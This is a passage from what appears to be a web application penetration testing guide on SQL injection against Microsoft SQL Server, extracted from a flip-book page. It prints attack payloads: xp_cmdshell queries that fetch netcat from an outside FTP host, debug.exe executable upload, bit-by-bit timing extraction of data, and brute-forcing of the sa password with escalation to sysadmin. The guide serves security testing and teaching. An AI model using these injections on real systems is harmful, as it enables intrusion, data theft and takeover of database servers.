1BO4r2U
1BO4r2U
1BO4r2U
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
121 122<br />
Web Application Penetration Testing<br />
Web Application Penetration Testing<br />
SQL Server does not exist or access denied<br />
On the other hand, if the port is open, one of the following errors will<br />
be returned:<br />
General network error. Check your network documentation<br />
OLE DB provider ‘sqloledb’ reported an error. The provider did<br />
not give any information about the error.<br />
Of course, the error message is not always available. If that is the case,<br />
we can use the response time to understand what is going on: with a<br />
closed port, the timeout (5 seconds in this example) will be consumed,<br />
whereas an open port will return the result right away.<br />
Keep in mind that OPENROWSET is enabled by default in SQL Server<br />
2000 but disabled in SQL Server 2005.<br />
Example 8: Upload of executables<br />
Once we can use xp_cmdshell (either the native one or a custom one),<br />
we can easily upload executables on the target DB Server. A very common<br />
choice is netcat.exe, but any trojan will be useful here. If the target<br />
is allowed to start FTP connections to the tester’s machine, all that<br />
is needed is to inject the following queries:<br />
exec master..xp_cmdshell ‘echo open ftp.tester.org > ftpscript.<br />
txt’;--<br />
exec master..xp_cmdshell ‘echo USER >> ftpscript.txt’;--<br />
exec master..xp_cmdshell ‘echo PASS >> ftpscript.txt’;--<br />
exec master..xp_cmdshell ‘echo bin >> ftpscript.txt’;--<br />
exec master..xp_cmdshell ‘echo get nc.exe >> ftpscript.txt’;--<br />
exec master..xp_cmdshell ‘echo quit >> ftpscript.txt’;--<br />
exec master..xp_cmdshell ‘ftp -s:ftpscript.txt’;--<br />
At this point, nc.exe will be uploaded and available.<br />
If FTP is not allowed by the firewall, we have a workaround that exploits<br />
the Windows debugger, debug.exe, that is installed by default<br />
in all Windows machines. Debug.exe is scriptable and is able to create<br />
an executable by executing an appropriate script file. What we need<br />
to do is to convert the executable into a debug script (which is a 100%<br />
ASCII file), upload it line by line and finally call debug.exe on it. There<br />
are several tools that create such debug files (e.g.: makescr.exe by Ollie<br />
Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject<br />
will therefore be the following:<br />
exec master..xp_cmdshell ‘echo [debug script line #1 of n] ><br />
debugscript.txt’;--<br />
exec master..xp_cmdshell ‘echo [debug script line #2 of n] >><br />
debugscript.txt’;--<br />
....<br />
exec master..xp_cmdshell ‘echo [debug script line #n of n] >><br />
debugscript.txt’;--<br />
exec master..xp_cmdshell ‘debug.exe < debugscript.txt’;--<br />
At this point, our executable is available on the target machine, ready<br />
to be executed. There are tools that automate this process, most notably<br />
Bobcat, which runs on Windows, and Sqlninja, which runs on<br />
Unix (See the tools at the bottom of this page).<br />
Obtain information when it is not displayed (Out of band)<br />
Not all is lost when the web application does not return any information<br />
--such as descriptive error messages (cf. Blind SQL Injection). For<br />
example, it might happen that one has access to the source code (e.g.,<br />
because the web application is based on an open source software).<br />
Then, the pen tester can exploit all the SQL injection vulnerabilities<br />
discovered offline in the web application. Although an IPS might stop<br />
some of these attacks, the best way would be to proceed as follows:<br />
develop and test the attacks in a testbed created for that purpose, and<br />
then execute these attacks against the web application being tested.<br />
Other options for out of band attacks are described in Sample 4 above.<br />
Blind SQL injection attacks<br />
Trial and error<br />
Alternatively, one may play lucky. That is the attacker may assume<br />
that there is a blind or out-of-band SQL injection vulnerability in a the<br />
web application. He will then select an attack vector (e.g., a web entry),<br />
use fuzz vectors (1) against this channel and watch the response. For<br />
example, if the web application is looking for a book using a query<br />
select * from books where title=text entered by the user<br />
then the penetration tester might enter the text: ‘Bomba’ OR 1=1- and<br />
if data is not properly validated, the query will go through and return<br />
the whole list of books. This is evidence that there is a SQL injection<br />
vulnerability. The penetration tester might later play with the queries<br />
in order to assess the criticality of this vulnerability.<br />
If more than one error message is displayed<br />
On the other hand, if no prior information is available, there is still a<br />
possibility of attacking by exploiting any covert channel. It might happen<br />
that descriptive error messages are stopped, yet the error messages<br />
give some information. For example:<br />
• In some cases the web application (actually the web server) might<br />
return the traditional 500: Internal Server Error, say when the application<br />
returns an exception that might be generated, for instance, by a<br />
query with unclosed quotes.<br />
• While in other cases the server will return a 200 OK message, but<br />
the web application will return some error message inserted by the<br />
developers Internal server error or bad data.<br />
This one bit of information might be enough to understand how the<br />
dynamic SQL query is constructed by the web application and tune<br />
up an exploit. Another out-of-band method is to output the results<br />
through HTTP browseable files.<br />
Timing attacks<br />
There is one more possibility for making a blind SQL injection attack<br />
when there is not visible feedback from the application: by measuring<br />
the time that the web application takes to answer a request. An attack<br />
of this sort is described by Anley in ([2]) from where we take the<br />
next examples. A typical approach uses the waitfor delay command:<br />
let’s say that the attacker wants to check if the ‘pubs’ sample database<br />
exists, he will simply inject the following command:<br />
if exists (select * from pubs..pub_info) waitfor delay ‘0:0:5’<br />
Depending on the time that the query takes to return, we will know<br />
the answer. In fact, what we have here is two things: a SQL injection<br />
vulnerability and a covert channel that allows the penetration tester<br />
to get 1 bit of information for each query. Hence, using several<br />
queries (as many queries as bits in the required information) the pen<br />
tester can get any data that is in the database. Look at the following<br />
query<br />
declare @s varchar(8000)<br />
declare @i int<br />
select @s = db_name()<br />
select @i = [some value]<br />
if (select len(@s)) < @i waitfor delay ‘0:0:5’<br />
Measuring the response time and using different values for @i, we<br />
can deduce the length of the name of the current database, and then<br />
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor<br />
delay ‘0:0:5’<br />
start to extract the name itself with the following query:<br />
This query will wait for 5 seconds if bit ‘@bit’ of byte ‘@byte’ of the<br />
name of the current database is 1, and will return at once if it is 0.<br />
Nesting two cycles (one for @byte and one for @bit) we will we able<br />
to extract the whole piece of information.<br />
However, it might happen that the command waitfor is not available<br />
(e.g., because it is filtered by an IPS/web application firewall). This<br />
doesn’t mean that blind SQL injection attacks cannot be done, as the<br />
pen tester should only come up with any time consuming operation<br />
that is not filtered. For example<br />
declare @i int select @i = 0<br />
while @i < 0xaffff begin<br />
select @i = @i + 1<br />
end<br />
Checking for version and vulnerabilities<br />
The same timing approach can be used also to understand which version<br />
of SQL Server we are dealing with. Of course we will leverage the<br />
built-in @@version variable. Consider the following query:<br />
select @@version<br />
OnSQL Server 2005, it will return something like the following:<br />
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14<br />
2005 00:33:37 <br />
The ‘2005’ part of the string spans from the 22nd to the 25th character.<br />
Therefore, one query to inject can be the following:<br />
Such query will wait 5 seconds if the 25th character of the @@version<br />
variable is ‘5’, showing us that we are dealing with a SQL Server 2005.<br />
If the query returns immediately, we are probably dealing with SQL<br />
Server 2000, and another similar query will help to clear all doubts.<br />
if substring((select @@version),25,1) = 5 waitfor delay ‘0:0:5’<br />
Example 9: bruteforce of sysadmin password<br />
To bruteforce the sysadmin password, we can leverage the fact that<br />
OPENROWSET needs proper credentials to successfully perform the<br />
connection and that such a connection can be also “looped” to the local<br />
DB Server. Combining these features with an inferenced injection<br />
based on response timing, we can inject the following code:<br />
What we do here is to attempt a connection to the local database<br />
(specified by the empty field after ‘SQLOLEDB’) using “sa” and<br />
“” as credentials. If the password is correct and the connection<br />
select * from OPENROWSET(‘SQLOLEDB’,’’;’sa’;’’,’select<br />
1;waitfor delay ‘’0:0:5’’ ‘)<br />
is successful, the query is executed, making the DB wait for 5 seconds<br />
(and also returning a value, since OPENROWSET expects at least one<br />
column). Fetching the candidate passwords from a wordlist and measuring<br />
the time needed for each connection, we can attempt to guess<br />
the correct password. In “Data-mining with SQL Injection and Inference”,<br />
David Litchfield pushes this technique even further, by injecting<br />
a piece of code in order to bruteforce the sysadmin password using<br />
the CPU resources of the DB Server itself.<br />
Once we have the sysadmin password, we have two choices:<br />
• Inject all following queries using OPENROWSET, in order to use sysadmin<br />
privileges<br />
• Add our current user to the sysadmin group using sp_addsrvrolemember.<br />
The current user name can be extracted using inferenced<br />
injection against the variable system_user.<br />
Remember that OPENROWSET is accessible to all users on SQL Server<br />
2000 but it is restricted to administrative accounts on SQL Server<br />
2005.<br />
Tools<br />
• Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power<br />
Injector]<br />
• Northern Monkee: [Bobcat]<br />
• icesurfer: SQL Server Takeover Tool - [sqlninja]<br />
• Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http:/<br />
sqlmap.org/